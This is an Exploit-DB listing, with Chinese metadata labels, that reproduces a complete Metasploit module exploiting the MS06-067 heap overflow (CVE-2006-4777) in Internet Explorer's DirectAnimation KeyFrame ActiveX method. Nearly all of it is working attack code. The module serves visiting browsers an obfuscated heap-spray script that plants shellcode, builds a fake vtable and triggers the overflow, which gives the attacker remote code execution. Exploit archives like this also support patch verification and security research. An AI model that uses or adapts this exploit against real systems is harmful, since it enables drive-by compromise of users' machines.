标题: Microsoft Internet Explorer - Daxctle.OCX KeyFrame Method Heap Buffer Overflow (MS06-067) (Metasploit) EDB-ID: 16506 CVE: 2006-4777 类型: REMOTE 平台: WINDOWS 发布日期: 2010-07-16 漏洞利用脚本: ##
# $Id: ms06_067_keyframe.rb 9842 2010-07-16 02:33:25Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 #
 # This module acts as an HTTP server
 #
 include Msf::Exploit::Remote::HttpServer::HTML


 #
 # Superceded by ms10_018_ie_behaviors, disable for BrowserAutopwn
 #
 #include Msf::Exploit::Remote::BrowserAutopwn
 #autopwn_info({
 # :ua_name    => HttpClients::IE,
 # :ua_minver  => "6.0",
 # :javascript => true,
 # :os_name    => OperatingSystems::WINDOWS,
 # :vuln_test  => 'KeyFrame',
 # :classid    => 'DirectAnimation.PathControl',
 # :rank       => NormalRanking  # reliable memory corruption
 #})

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Internet Explorer Daxctle.OCX KeyFrame Method Heap Buffer Overflow Vulnerability',
   'Description'    => %q{
    This module exploits a heap overflow vulnerability in the KeyFrame method of the
    direct animation ActiveX control.  This is a port of the exploit implemented by
    Alexander Sotirov.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     # Did all the hard work
     'Alexander Sotirov <asotirov@determina.com>',
     # Integrated into msf
     'skape',
    ],
   'Version'        => '$Revision: 9842 $',
   'References'     =>
    [
     [ 'CVE', '2006-4777' ],
     [ 'OSVDB', '28842' ],
     [ 'BID', '20047' ],
     [ 'MSB', 'MS06-067' ],
     [ 'URL', 'https://www.blackhat.com/presentations/bh-eu-07/Sotirov/Sotirov-Source-Code.zip' ]
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     # Maximum payload size is limited by heaplib
     'Space'       => 870,
     'MinNops'     => 32,
     'Compat'      =>
      {
       'ConnectionType' => '-find',
      },
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Windows 2000/XP/2003 Universal', { }],
    ],
   'DisclosureDate' => 'Nov 14 2006',
   'DefaultTarget'  => 0))
 end

 def on_request_uri(cli, request)
  return if ((p = regenerate_payload(cli)) == nil)

  print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")

  # This is taken directly from Alex's exploit -- all credit goes to him.
  trigger_js = heaplib(
   "var target = new ActiveXObject('DirectAnimation.PathControl');\n" +
   "var heap = new heapLib.ie();\n" +
   "var shellcode = unescape('#{Rex::Text.to_unescape(p.encoded)}');\n" +
   "var jmpecx = 0x4058b5;\n" +
   "var vtable = heap.vtable(shellcode, jmpecx);\n" +
   "var fakeObjPtr = heap.lookasideAddr(vtable);\n" +
   "var fakeObjChunk = heap.padding((0x200c-4)/2) + heap.addr(fakeObjPtr) + heap.padding(14/2);\n" +
   "heap.gc();\n" +
   "for (var i = 0; i < 100; i++)\n" +
   "  heap.alloc(vtable)\n" +
   "heap.lookaside(vtable);\n" +
   "for (var i = 0; i < 100; i++)\n" +
   "  heap.alloc(0x2010)\n" +
   "heap.freeList(fakeObjChunk, 2);\n" +
   "target.KeyFrame(0x40000801, new Array(1), new Array(1));\n" +
   "delete heap;\n")

  # Obfuscate it up a bit
  trigger_js = obfuscate_js(trigger_js,
   'Symbols' =>
    {
     'Variables' => [ 'target', 'heap', 'shellcode', 'jmpecx', 'fakeObjPtr', 'fakeObjChunk' ]
    })

  # Fire off the page to the client
  send_response(cli,
   "<html><script language='javascript'>#{trigger_js}</script></html>")

  # Handle the payload
  handler(cli)
 end

end URL: https://www.exploit-db.com/exploits/16506